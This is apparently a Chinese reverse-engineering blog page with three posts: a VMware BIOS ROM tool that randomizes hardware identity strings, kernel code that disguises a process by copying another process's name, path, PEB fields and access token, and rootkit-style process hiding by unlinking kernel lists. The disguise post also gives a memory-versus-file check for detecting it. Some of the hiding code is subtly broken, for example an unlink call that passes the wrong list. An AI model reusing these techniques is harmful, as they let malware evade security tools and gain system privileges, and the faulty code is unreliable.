分类: 逆向

  • vmware bios rom文件研究记录

    Phoenix BIOS Tool 技术总结

    一、ROM 结构

    BIOS.440.ROM (512KB) 是 Phoenix BIOS 4.0 格式,包含:

    • BootBlock (BB.ROM): 最后 16KB,未压缩,启动引导代码
    • 模块区: 32个模块,使用 LZINT 压缩算法

    二、模块提取流程

    原始ROM → 按已知偏移提取 → 压缩模块文件 (.ROM/.AML/.PGX)
    

    每个模块有固定的起始/结束地址(相对于 0x100000000 – ROM大小):

    {"ROMEXEC0", 'X', 0, 0xFFFF0B25, 0xFFFF7749, ".ROM"},
    {"BIOSCOD1", 'B', 1, 0xFFFCC446, 0xFFFD2BD7, ".ROM"},
    // ... 等32个模块
    

    三、解压流程

    1. 模块头结构 (27字节)

    [0-1]   Magic: 0x42 0x43 ("BC")
    [2-3]   Signature: 0xD6 0xF1
    [4-6]   Module ID
    [8]     Module Type (0x42=BIOSCODE, 0x58=ROMEXEC, 0x47=DECOMPCODE)
    [10]    Compression: 0x05=LZINT压缩, 其他=未压缩
    [11-18] 地址信息
    [19-22] 解压后大小
    

    2. 解压方法

    • 使用 Phoenix 官方工具 UNINT32.EXE 解压 LZINT 数据
    • 解压后重建 BC 头(标记为未压缩)

    3. 特殊处理: BIOSCOD0 BIOSCOD0 分成两部分存储在 ROM 中:

    part1: offset=0x61150, size=3649
    part2: offset=0x52BE1, size=40207
    

    需要合并后再解压。

    四、DMI 字符串修改

    ROMEXEC0.ROM 可修改字段: | 字段 | 偏移 | 最大长度 | |——|——|———-| | manufacturer | 0x02749 | 12 | | product | 0x02765 | 23 | | vendor | 0x027CA | 17 | | board | 0x027E6 | 32 | | welcome | 0x028EE | 31 | | copyright | 0x02966 | 32 | | chipset | 0x06352 | 5 |

    BIOSCOD1.ROM 可修改字段: | 字段 | 偏移 | 最大长度 | |——|——|———-| | bios_vendor | 0x0035 | 24 | | bios_version | 0x004E | 4 | | bios_date | 0x0053 | 10 | | sys_mfr | 0x007A | 12 | | sys_product | 0x0087 | 24 | | board_mfr | 0x00B9 | 17 | | board_product | 0x00CB | 32 | | RAM slots (64个) | 0x05A6起 | 14 |

    不可修改字段(代码段,修改会导致无法启动):

    • ROMEXEC0: version (0x0375B), copyright2 (0x0377C)

    五、打包流程

    使用 Phoenix 官方工具:

    1. PREPARE.EXE ROM.SCR   → 压缩模块,生成 .MOD 文件
    2. CATENATE.EXE ROM.SCR -O:BIOS.440.ROM → 合并生成最终ROM
    

    ROM.SCR 脚本格式:

    BANKS         -N:1 -S:512
    COMPRESS      LZINT
    BOOTBLOCK     BB.ROM -S:16
    
    BIOSCODE      BIOSCOD0.ROM
    BIOSCODE      BIOSCOD1.ROM
    ROMEXEC       ROMEXEC0.ROM
    ROMEXEC       ROMEXEC1.ROM  -Z
    ...
    

    六、工具使用

    # 解包
    pbt.exe extract BIOS.440.ROM output
    
    # 随机化硬件信息
    pbt.exe randomize output
    
    # 打包
    cd output
    pbt.exe build ROM.SCR BIOS.440.ROM
    

    七、嵌入工具

    三个 Phoenix 官方工具以十六进制数组形式嵌入到 EmbeddedTools.hpp

    • UNINT32.EXE: LZINT 解压
    • PREPARE.EXE: 模块压缩
    • CATENATE.EXE: ROM 合并

    运行时提取到临时目录,使用后自动删除。


    这套工具实现了 Phoenix BIOS ROM 的完整解包、修改、打包流程,支持随机生成匹配的真实硬件配置信息。

  • 进程伪装原理与破除

    首先演示下进程伪装的效果

    伪装前

    进程伪装原理与破除

    伪装后

    进程伪装原理与破除

    ark显示的信息

    进程伪装原理与破除

    通过测试发现,可以伪装成系统进程或者其他正常应用,来迷惑ark工具的查询;相比隐藏进程而言更加稳定和隐蔽。

    伪装进程的实现方式:

    1.傀儡进程,这种方法3环也可实现,原理类似LoadPE,在进程内存中手动拉伸修复我们的可执行程序。

    2.修改进程结构体信息达到伪装。这种进程伪装核心思想:把要伪装成进程的各种信息复制到当前进程,并且不能干扰操作系统正常运行程序。可以理解为就是疯狂CV。

    2的基本实现

    1.复制eprocess中的ImageFileName[15]  进程名

       BOOLEAN fake_processimagename(PEPROCESS dest, PEPROCESS my)
     {
    
    
    	   PCHAR destName = (PsGetProcessImageFileName)(dest);
    
    	   PCHAR myName = (PsGetProcessImageFileName)(my);
    
    	   (memcpy)(myName, destName, 15);
    
    	  return   TRUE;
     }

    2.复制eprocess中的SeAuditProcessCreationInfo  进程全路径

    //0x8 bytes (sizeof)
    struct _SE_AUDIT_PROCESS_CREATION_INFO
    {
        struct _OBJECT_NAME_INFORMATION* ImageFileName;                         //0x0
    };
    	   PUNICODE_STRING myFullName = NULL;
    	   PUNICODE_STRING destFullName = NULL;
    
    	    (SeLocateProcessImageName)(my, &myFullName);
    		(SeLocateProcessImageName)(dest, &destFullName);
    
    
    
    
    	   PUNICODE_STRING newname = (PUNICODE_STRING)(ExAllocatePool)(NonPagedPool, destFullName->MaximumLength);
    	   newname->Length = destFullName->Length;
    	   newname->MaximumLength = destFullName->MaximumLength;
    	   newname->Buffer = destFullName->Buffer;
    	   (memcpy)(newname->Buffer, destFullName->Buffer, destFullName->Length);
    
    	   *((PULONG64)((PUCHAR)my + get_eprocess_imagefilename_offset())) = (ULONG64)newname;
    
    	   (ExFreePool)(myFullName);
    	   return TRUE;

    3.复制eprocess中的ImageFilePointer 文件对象

        BOOLEAN bRet = FALSE;
        PFILE_OBJECT pFileObject = NULL;
        WCHAR* szNewFullName = NULL;
    
        if (szFullName == NULL || Process == NULL)
            return FALSE;
    
        szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (szNewFullName == NULL)
            return FALSE;
    
        RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
    
        if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
            return FALSE;
    
        if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
        {
            RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
            RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            ExFreePool(szNewFullName);
            bRet = TRUE;
        }
        else
        {
            RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Buffer = szNewFullName;
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
            bRet = TRUE;
        }
    
        ObDereferenceObject(pFileObject);
        return bRet;

    4.复制eprocess中的Token 令牌

    	   PACCESS_TOKEN pSystemToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(dest);
    	   PACCESS_TOKEN MyToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(my);
    	   
    	* ((PULONG64)((PUCHAR)my + get_eprocess_token_offset())) = (ULONG64)pSystemToken;
    
    	   (ObfDereferenceObject)(pSystemToken);
    	   (ObfDereferenceObject)(MyToken);

    5.复制eprocess中的Peb  环境块 注意32位程序与64位程序不同,这里只展示64位的,记得CommandLine,WindowTitle,CurrentDirectory也要复制不然ark一眼看出差距。

    	   PPEB64 destPeb = (PPEB64)(PsGetProcessPeb)(dest);
    
    	   PPEB64 myPeb = (PPEB64)(PsGetProcessPeb)(my);
    	   if (!destPeb || !myPeb) return 0;
    
    	   KAPC_STATE fakeApcState = { 0 };
    	   KAPC_STATE srcApcState = { 0 };
    
    	   UNICODE_STRING ImagePathName = { 0 };
    	   UNICODE_STRING CommandLine = { 0 };
    	   UNICODE_STRING WindowTitle = { 0 };
    	   UNICODE_STRING dospath={0};
    	   ULONG64 Handle=0;
    	   (KeStackAttachProcess)(dest, &srcApcState);
    
    	
    	   SIZE_T pro = NULL;
    	   ( MmCopyVirtualMemory)(dest, destPeb, dest, destPeb, 1, UserMode, &pro);
    	   (MmCopyVirtualMemory)(dest, destPeb->ProcessParameters, dest, destPeb->ProcessParameters, 1, UserMode, &pro);
    
    	   //复制ImagePathName
    	   if (destPeb->ProcessParameters->ImagePathName.Length)
    	   {
    		   ImagePathName.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->ImagePathName.MaximumLength);
    		   (memcpy)(ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Length);
    		   ImagePathName.Length = destPeb->ProcessParameters->ImagePathName.Length;
    		   ImagePathName.MaximumLength = destPeb->ProcessParameters->ImagePathName.MaximumLength;
    	   }
    	   //复制CommandLine
    	   if (destPeb->ProcessParameters->CommandLine.Length)
    	   {
    		   CommandLine.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CommandLine.MaximumLength);
    		   (memcpy)(CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Length);
    		   CommandLine.Length = destPeb->ProcessParameters->CommandLine.Length;
    		   CommandLine.MaximumLength = destPeb->ProcessParameters->CommandLine.MaximumLength;
    	   }
    
    	   //复制WindowTitle
    	   if (destPeb->ProcessParameters->WindowTitle.Length)
    	   {
    		   WindowTitle.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->WindowTitle.MaximumLength);
    		   (memcpy)(WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Length);
    		   WindowTitle.Length = destPeb->ProcessParameters->WindowTitle.Length;
    		   WindowTitle.MaximumLength = destPeb->ProcessParameters->WindowTitle.MaximumLength;
    	   }
    	   //复制CurrentDirectory
    	   if (destPeb->ProcessParameters->CurrentDirectory.DosPath.Length)
    	   {
    		   dospath.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
    		   (memcpy)(dospath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Length);
    		   dospath.Length = destPeb->ProcessParameters->CurrentDirectory.DosPath.Length;
    		   dospath.MaximumLength = destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength;
    		   Handle = (ULONG64)destPeb->ProcessParameters->CurrentDirectory.Handle;
    	   }
    	   (KeUnstackDetachProcess)(&srcApcState);
    
    
    
    	   //附加要伪装的进程,并复制
    
    
    	   (KeStackAttachProcess)(my, &fakeApcState);
    
    
    	   (MmCopyVirtualMemory)(my, myPeb, my, myPeb, 1, UserMode, &pro);
    	   (MmCopyVirtualMemory)(my, myPeb->ProcessParameters, my, myPeb->ProcessParameters, 1, UserMode, &pro);
    
    	   //复制ImagePathName
    	   myPeb->ProcessParameters->ImagePathName.Length = ImagePathName.Length;
    	   myPeb->ProcessParameters->ImagePathName.MaximumLength = ImagePathName.MaximumLength;
    	   myPeb->ProcessParameters->ImagePathName.Buffer = ImagePathName.Buffer;
    
    
    	   //复制CommandLine
    	   myPeb->ProcessParameters->CommandLine.Length = CommandLine.Length;
    	   myPeb->ProcessParameters->CommandLine.MaximumLength = CommandLine.MaximumLength;
    	   myPeb->ProcessParameters->CommandLine.Buffer = CommandLine.Buffer;
    
    	   //复制WindowTitle
    
    	   myPeb->ProcessParameters->WindowTitle.Length = WindowTitle.Length;
    	   myPeb->ProcessParameters->WindowTitle.MaximumLength = WindowTitle.MaximumLength;
    	   myPeb->ProcessParameters->WindowTitle.Buffer = WindowTitle.Buffer;
    	   //复制CurrentDirectory
    
    	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Length = dospath.Length;
    	   myPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength = dospath.MaximumLength;
    	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer = dospath.Buffer;
    	   myPeb->ProcessParameters->CurrentDirectory.Handle = (PVOID)Handle;
    
    
    	   (KeUnstackDetachProcess)(&fakeApcState);
    
    	   if (ImagePathName.Length) (ExFreePool)(ImagePathName.Buffer);
    	   if (CommandLine.Length) (ExFreePool)(CommandLine.Buffer);
    	   if (WindowTitle.Length) (ExFreePool)(WindowTitle.Buffer);
    	   if (dospath.Length) (ExFreePool)(dospath.Buffer);

    6.到此为止一个最基本的伪装进程已经实现,当然还有好多细节没有copy,细节就靠个人发挥了。

    查询伪装进程

    那么问题来了,如果恶意程序进行了伪装,我们应该如何查询呢?

    俗话说的好,假的永远是假的,代替不了真的。下面介绍几个常见的查询点:

    1.模块,虽然主模块可以伪装一致,但是其他模块和模块数量明显的差异,且模块大小和基地址都可能存在差异

    进程伪装原理与破除

    2.窗口,如果伪装成例如系统进程csrss.exe是没有窗口的

    进程伪装原理与破除

    3.其他进程结构体,一般进程伪装不会完美伪装每一个细节,可以从细节信息对比差异,如eprocess中的ImagePathHash,不过本人不会从这里查,我假设伪装者很努力,复制了所有细节并且使用pdb解析完美兼容所有系统。

    4.dump可疑进程内存,并上传样本;不过对于个人而言还是太吃经济了。

    5.线程,很难保证伪装和被伪装的线程一致

    6.内存对比,伪装后进程的文件对象被修改成被伪装进程的对象,我们可以利用这一点反其道而行,读取路径中文件的pe信息与进程内存相比较。

    本人采用的思路是第六种,具体操作对比pe可选头中的镜像大小SizeOfImage,入口点 AddressOfEntryPoint,以及入口点的前几个字节,简单有效

    //大小: 32bit(0xE0) 64bit(0xF0)
    typedef struct _IMAGE_OPTIONAL_HEADER {
     
        WORD    Magic;                          //文件类型: 10bh为32位PE文件 / 20bh为64位PE文件
        BYTE    MajorLinkerVersion;             //链接器(主)版本号 对执行没有任何影响
        BYTE    MinorLinkerVersion;             //链接器(次)版本号 对执行没有任何影响
        DWORD   SizeOfCode;                     //包含代码的节的总大小.文件对齐后的大小.编译器填的没用
        DWORD   SizeOfInitializedData;          //包含已初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.
        DWORD   SizeOfUninitializedData;        //包含未初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.(未初始化数据,在文件中不占用空间;但在被加载到内存后,PE加载程序会为这些数据分配适当大小的虚拟地址空间).
        DWORD   AddressOfEntryPoint;            //程序入口(RVA)
        DWORD   BaseOfCode;                     //代码的节的基址(RVA).编译器填的没用(代码节起始的RVA,表示映像被加载进内存时代码节的开头相对于ImageBase的偏移地址,节的名称通常为".text")
        DWORD   BaseOfData;                     //数据的节的基址(RVA).编译器填的没用(数据节起始的RVA,表示映像被加载进内存时数据节的开头相对于ImageBase的偏移地址,节的名称通常为".data")
        DWORD   ImageBase;                      //内存镜像基址
        DWORD   SectionAlignment;               //内存对齐大小
        DWORD   FileAlignment;                  //文件对齐大小
        WORD    MajorOperatingSystemVersion;    //标识操作系统主版本号 
        WORD    MinorOperatingSystemVersion;    //标识操作系统次版本号 
        WORD    MajorImageVersion;              //PE文件自身的主版本号
        WORD    MinorImageVersion;              //PE文件自身的次版本号
        WORD    MajorSubsystemVersion;          //运行所需子系统主版本号
        WORD    MinorSubsystemVersion;          //运行所需子系统次版本号
        DWORD   Win32VersionValue;              //子系统版本的值.必须为0,否则程序运行失败.
        DWORD   SizeOfImage;                    //内存中整个PE文件的映射尺寸.可比实际的值大.必须是SectionAlignment的整数倍
        DWORD   SizeOfHeaders;                  //所有头+节表按照文件对齐后的大小.
        DWORD   CheckSum;                       //校验和.大多数PE文件该值为0.在内核模式的驱动程序和系统DLL中,该值则是必须存在且是正确的.在IMAGEHLP.DLL中函数CheckSumMappedFile就是用来计算文件头校验和的,对于整个PE文件也有一个校验函数MapFileAndCheckSum.
        WORD    Subsystem;                      //文件子系统  驱动程序(1) 图形界面(2) 控制台/DLL(3)
        WORD    DllCharacteristics;             //文件特性.不是针对DLL文件的
        DWORD   SizeOfStackReserve;             //初始化时保留的栈大小.该字段默认值为0x100000(1MB),如果调用API函数CreateThread时,堆栈参数大小传入NULL,则创建出来的栈大小将是1MB.
        DWORD   SizeOfStackCommit;              //初始化时实际提交的栈大小.保证初始线程的栈实际占用内存空间的大小,它是被系统提交的.这些提交的栈不存在与交换文件里,而是在内存中.
        DWORD   SizeOfHeapReserve;              //初始化时保留的堆大小.用来保留给初始进程堆使用的虚拟内存,这个堆的句柄可以通过调用函数GetProcessHeap获得.每一个进程至少会有一个默认的进程堆,该堆在进程启动时被创建,而且在进程的生命期中不会被删除.默认值为1MB.
        DWORD   SizeOfHeapCommit;               //初始化时实践提交的堆大小.在进程初始化时设定的堆所占用的内存空间,默认值为PAGE_SIZE. 
        DWORD   LoaderFlags;                    //调试相关
        DWORD   NumberOfRvaAndSizes;            //目录项数目,默认为10h.
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//结构数组 数组元素个数由IMAGE_NUMBEROF_DIRECTORY_ENTRIES定义
    } IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;

    代码没啥可看的,太水了,当然文章讲述的更多是思路,也不排除是本人太懒。

    进程伪装原理与破除

    检测伪装进程演示:

    正常程序,文件和内存镜像一致

    进程伪装原理与破除

    伪装后的两个程序

    进程伪装原理与破除

    对比内存和文件后发现不一致,可以判定疑似伪装

    进程伪装原理与破除

  • 进程隐藏对抗

    进程隐藏对抗

    进程隐藏作用

    1.使用户无法在任务管理器中看到进程

    2.躲避安全软件的信息查询

    进程隐藏有两种实现方式:

    1.通过hook 查询进程api来过滤要保护的进程,例如ZwQuerySystemInformation;

    2.是通过抹除系统结构中关于进程的信息,如断链EPROCESS中的ActiveProcessLinks(进程活跃链表)等;

     

    第一种方法没啥好说的,哪个API查就hook哪个API,虽说都没啥用但文章主要描述第二种,还能熟悉熟悉内核结构。

     

    断链实现:

    在内核中很多数据使用_LIST_ENTRY,双向循环链表作为数据结构

    typedef struct _LIST_ENTRY 
    {
           struct _LIST_ENTRY *Flink; 
           struct _LIST_ENTRY *Blink; 
    } LIST_ENTRY, *PLIST_ENTRY;

     

     

    首先要先了解EPROCESS,和KPROCESS两个重要的结构体; 每个windows进程在0环都有这样一个对应的结构体:

    nt!_EPROCESS
    +0x000 Pcb : _KPROCESS
    +0x098 ProcessLock : _EX_PUSH_LOCK 进程锁
    +0x0a0 CreateTime : _LARGE_INTEGER 进程创建时间
    +0x0a8 ExitTime : _LARGE_INTEGER 进程结束时间
    +0x0b0 RundownProtect : _EX_RUNDOWN_REF
    +0x0b4 UniqueProcessId : Ptr32 Void PID进程id
    +0x0b8 ActiveProcessLinks : _LIST_ENTRY 活跃进程链表 双向循环链表 可断链
    +0x0c0 ProcessQuotaUsage : [2] Uint4B 物理页相关统计
    +0x0c8 ProcessQuotaPeak : [2] Uint4B
    +0x0d0 CommitCharge : Uint4B cpu占用信息
    +0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
    +0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK cpu占用信息
    +0x0dc PeakVirtualSize : Uint4B 虚拟内存相关统计
    +0x0e0 VirtualSize : Uint4B
    +0x0e4 SessionProcessLinks : _LIST_ENTRY
    +0x0ec DebugPort : Ptr32 Void 调试相关≠0则被调试
    +0x0f0 ExceptionPortData : Ptr32 Void
    +0x0f0 ExceptionPortValue : Uint4B
    +0x0f0 ExceptionPortState : Pos 0, 3 Bits
    +0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE 句柄表 内核对象
    +0x0f8 Token : _EX_FAST_REF
    +0x0fc WorkingSetPage : Uint4B
    +0x100 AddressCreationLock : _EX_PUSH_LOCK
    +0x104 RotateInProgress : Ptr32 _ETHREAD
    +0x108 ForkInProgress : Ptr32 _ETHREAD
    +0x10c HardwareTrigger : Uint4B
    +0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
    +0x114 CloneRoot : Ptr32 Void
    +0x118 NumberOfPrivatePages : Uint4B
    +0x11c NumberOfLockedPages : Uint4B
    +0x120 Win32Process : Ptr32 Void
    +0x124 Job : Ptr32 _EJOB
    +0x128 SectionObject : Ptr32 Void
    +0x12c SectionBaseAddress : Ptr32 Void
    +0x130 Cookie : Uint4B
    +0x134 Spare8 : Uint4B
    +0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
    +0x13c Win32WindowStation : Ptr32 Void
    +0x140 InheritedFromUniqueProcessId : Ptr32 Void 父进程id
    +0x144 LdtInformation : Ptr32 Void
    +0x148 VdmObjects : Ptr32 Void
    +0x14c ConsoleHostProcess : Uint4B
    +0x150 DeviceMap : Ptr32 Void
    +0x154 EtwDataSource : Ptr32 Void
    +0x158 FreeTebHint : Ptr32 Void
    +0x160 PageDirectoryPte : Uint8B
    +0x168 Session : Ptr32 Void
    +0x16c ImageFileName : [15] UChar 进程名最多存16个字符,截断
    +0x17b PriorityClass : UChar
    +0x17c JobLinks : _LIST_ENTRY
    +0x184 LockedPagesList : Ptr32 Void
    +0x188 ThreadListHead : _LIST_ENTRY 双向循环链表
    +0x190 SecurityPort : Ptr32 Void
    +0x194 PaeTop : Ptr32 Void
    +0x198 ActiveThreads : Uint4B 活跃线程数量
    +0x19c ImagePathHash : Uint4B
    +0x1a0 DefaultHardErrorProcessing : Uint4B
    +0x1a4 LastThreadExitStatus : Int4B
    +0x1a8 Peb : Ptr32 _PEB PEB(process ENVIRONMENT BLOCK 进程环境块)
    +0x1ac PrefetchTrace : _EX_FAST_REF
    +0x1b0 ReadOperationCount : _LARGE_INTEGER
    +0x1b8 WriteOperationCount : _LARGE_INTEGER
    +0x1c0 OtherOperationCount : _LARGE_INTEGER
    +0x1c8 ReadTransferCount : _LARGE_INTEGER
    +0x1d0 WriteTransferCount : _LARGE_INTEGER
    +0x1d8 OtherTransferCount : _LARGE_INTEGER
    +0x1e0 CommitChargeLimit : Uint4B
    +0x1e4 CommitChargePeak : Uint4B
    +0x1e8 AweInfo : Ptr32 Void
    +0x1ec SeAuditProcessCreationInfo : 进程路径_SE_AUDIT_PROCESS_CREATION_INFO
    +0x1f0 Vm : _MMSUPPORT
    +0x25c MmProcessLinks : _LIST_ENTRY
    +0x264 HighestUserAddress : Ptr32 Void
    +0x268 ModifiedPageCount : Uint4B
    +0x26c Flags2 : Uint4B
    +0x26c JobNotReallyActive : Pos 0, 1 Bit
    +0x26c AccountingFolded : Pos 1, 1 Bit
    +0x26c NewProcessReported : Pos 2, 1 Bit
    +0x26c ExitProcessReported : Pos 3, 1 Bit
    +0x26c ReportCommitChanges : Pos 4, 1 Bit
    +0x26c LastReportMemory : Pos 5, 1 Bit
    +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
    +0x26c HandleTableRundown : Pos 7, 1 Bit
    +0x26c NeedsHandleRundown : Pos 8, 1 Bit
    +0x26c RefTraceEnabled : Pos 9, 1 Bit
    +0x26c NumaAware : Pos 10, 1 Bit
    +0x26c ProtectedProcess : Pos 11, 1 Bit 保护进程
    +0x26c DefaultPagePriority : Pos 12, 3 Bits
    +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
    +0x26c ProcessVerifierTarget : Pos 16, 1 Bit
    +0x26c StackRandomizationDisabled : Pos 17, 1 Bit
    +0x26c AffinityPermanent : Pos 18, 1 Bit
    +0x26c AffinityUpdateEnable : Pos 19, 1 Bit
    +0x26c PropagateNode : Pos 20, 1 Bit
    +0x26c ExplicitAffinity : Pos 21, 1 Bit
    +0x26c Spare1 : Pos 22, 1 Bit
    +0x26c ForceRelocateImages : Pos 23, 1 Bit
    +0x26c DisallowStrippedImages : Pos 24, 1 Bit
    +0x26c LowVaAccessible : Pos 25, 1 Bit
    +0x26c RestrictIndirectBranchPrediction : Pos 26, 1 Bit
    +0x26c AddressPolicyFrozen : Pos 27, 1 Bit
    +0x26c SpeculativeStoreBypassDisable : Pos 28, 1 Bit
    +0x270 Flags : Uint4B
    +0x270 CreateReported : Pos 0, 1 Bit
    +0x270 NoDebugInherit : Pos 1, 1 Bit
    +0x270 ProcessExiting : Pos 2, 1 Bit
    +0x270 ProcessDelete : Pos 3, 1 Bit
    +0x270 Wow64SplitPages : Pos 4, 1 Bit
    +0x270 VmDeleted : Pos 5, 1 Bit
    +0x270 OutswapEnabled : Pos 6, 1 Bit
    +0x270 Outswapped : Pos 7, 1 Bit
    +0x270 ForkFailed : Pos 8, 1 Bit
    +0x270 Wow64VaSpace4Gb : Pos 9, 1 Bit
    +0x270 AddressSpaceInitialized : Pos 10, 2 Bits
    +0x270 SetTimerResolution : Pos 12, 1 Bit
    +0x270 BreakOnTermination : Pos 13, 1 Bit
    +0x270 DeprioritizeViews : Pos 14, 1 Bit
    +0x270 WriteWatch : Pos 15, 1 Bit
    +0x270 ProcessInSession : Pos 16, 1 Bit
    +0x270 OverrideAddressSpace : Pos 17, 1 Bit
    +0x270 HasAddressSpace : Pos 18, 1 Bit
    +0x270 LaunchPrefetched : Pos 19, 1 Bit
    +0x270 InjectInpageErrors : Pos 20, 1 Bit
    +0x270 VmTopDown : Pos 21, 1 Bit
    +0x270 ImageNotifyDone : Pos 22, 1 Bit
    +0x270 PdeUpdateNeeded : Pos 23, 1 Bit
    +0x270 VdmAllowed : Pos 24, 1 Bit
    +0x270 CrossSessionCreate : Pos 25, 1 Bit
    +0x270 ProcessInserted : Pos 26, 1 Bit
    +0x270 DefaultIoPriority : Pos 27, 3 Bits
    +0x270 ProcessSelfDelete : Pos 30, 1 Bit
    +0x270 SetTimerResolutionLink : Pos 31, 1 Bit
    +0x274 ExitStatus : Int4B
    +0x278 VadRoot : _MM_AVL_TABLE
    +0x298 AlpcContext : _ALPC_PROCESS_CONTEXT
    +0x2a8 TimerResolutionLink : _LIST_ENTRY
    +0x2b0 RequestedTimerResolution : Uint4B
    +0x2b4 ActiveThreadsHighWatermark : Uint4B
    +0x2b8 SmallestTimerResolution : Uint4B
    +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
    +0x2c0 SequenceNumber : Uint8B
    +0x2c8 CreateInterruptTime : Uint8B
    +0x2d0 CreateUnbiasedInterruptTime : Uint8B
    +0x2d8 SecurityDomain : Uint8B

    _EPROCESS的第一个成员是KPROCESS

     

    nt!_KPROCESS
    
      +0x000 Header           : _DISPATCHER_HEADER  可等待内核对象
    
      +0x010 ProfileListHead  : _LIST_ENTRY    
    
      +0x018 DirectoryTableBase : Uint4B     CR3 通过线性地址以及分页模式定位物理基地址
    
      +0x01c LdtDescriptor    : _KGDTENTRY  
    
      +0x024 Int21Descriptor  : _KIDTENTRY  历史遗留
    
      +0x02c ThreadListHead   : _LIST_ENTRY 双向循环链表
    
      +0x034 ProcessLock      : Uint4B  内核进程锁
    
      +0x038 Affinity         : _KAFFINITY_EX  cpu亲核性
    
      +0x044 ReadyListHead    : _LIST_ENTRY  进程就绪列表
    
      +0x04c SwapListEntry    : _SINGLE_LIST_ENTRY交互磁盘
    
      +0x050 ActiveProcessors : _KAFFINITY_EX  活跃核心
    
      +0x05c AutoAlignment    : Pos 0, 1 Bit  对齐
    
      +0x05c DisableBoost     : Pos 1, 1 Bit
    
      +0x05c DisableQuantum   : Pos 2, 1 Bit 关闭时间碎片
    
      +0x05c ActiveGroupsMask : Pos 3, 1 Bit
    
      +0x05c ReservedFlags    : Pos 4, 28 Bits
    
      +0x05c ProcessFlags     : Int4B
    
      +0x060 BasePriority     : Char  基础优先级8,进程下所有线程最低的优先级
    
      +0x061 QuantumReset     : Char时间碎片
    
      +0x062 Visited          : UChar
    
      +0x063 Unused3          : UChar
    
      +0x064 ThreadSeed       : [1] Uint4B
    
      +0x068 IdealNode        : [1] Uint2B
    
      +0x06a IdealGlobalNode  : Uint2B
    
      +0x06c Flags            : _KEXECUTE_OPTIONS
    
      +0x06d AddressPolicy    : UChar
    
      +0x06e IopmOffset       : Uint2B
    
      +0x070 Unused4          : Uint4B
    
      +0x074 StackCount       : _KSTACK_COUNT
    
      +0x078 ProcessListEntry : _LIST_ENTRY
    
      +0x080 CycleTime        : Uint8B
    
      +0x088 KernelTime       : Uint4B  
    
      +0x08c UserTime         : Uint4B
    
      +0x090 VdmTrapcHandler  : Ptr32 Void //虚拟8086模式下使用

    其中在_EPROCESS我们需要关注的是

    ActiveProcessLinks 进程活跃链表

    SessionProcessLinks 会话链表

    ObjectTable 私有句柄表

    其中在_KPROCESS我们需要关注的是

    ProcessListEntry 进程链表

     

    想要隐藏进程把所在数据的链表进程断链即可

    //断链关键代码
    FORCEINLINE
    BOOLEAN
    MyRemoveEntryList(
        _In_ PLIST_ENTRY Entry
    )
    
    {
    
        PLIST_ENTRY PrevEntry;
        PLIST_ENTRY NextEntry;
    
        NextEntry = Entry->Flink;
        PrevEntry = Entry->Blink;
        if ((NextEntry->Blink != Entry) || (PrevEntry->Flink != Entry)) {
            return FALSE;
        }
    
        PrevEntry->Flink = NextEntry;
        NextEntry->Blink = PrevEntry;
        return (BOOLEAN)(PrevEntry == NextEntry);
    }
    //
    
    
    	//断链 ProcessListEntry
    
    	PLIST_ENTRY ProfileListHead = (PLIST_ENTRY)((PUCHAR)mypEProcess + 0x18);
    	MyRemoveEntryList(ProfileListHead);
    
    
    	//断链   struct _LIST_ENTRY ThreadListHead;                                      //0x30
    	PLIST_ENTRY ThreadListHead = (PLIST_ENTRY)((PUCHAR)mypEProcess + 0x30);
    	MyRemoveEntryList(ProfileListHead);
    
    
    	//断链struct_LIST_ENTRYSessionProcessLinks
    	PLIST_ENTRY essionProcessLinks = (PLIST_ENTRY)((PUCHAR)mypEProcess + get_eprocess_session_offset());
    	MyRemoveEntryList(essionProcessLinks);
    
      	//断链 private ObjectTable
    	_HANDLE_TABLE* table= (_HANDLE_TABLE*)((PUCHAR)mypEProcess + get_eprocess_objecttable_offset());
    	 MyRemoveEntryList(table->HandleTableList);

     

    当然仅仅断链是不够的,因为操作系统还有一张全局句柄表PspCidTable,其中存储了线程和进程,我们还需要把我们的进程从全局句柄表中抹除,可以使用ExDestroyHandle

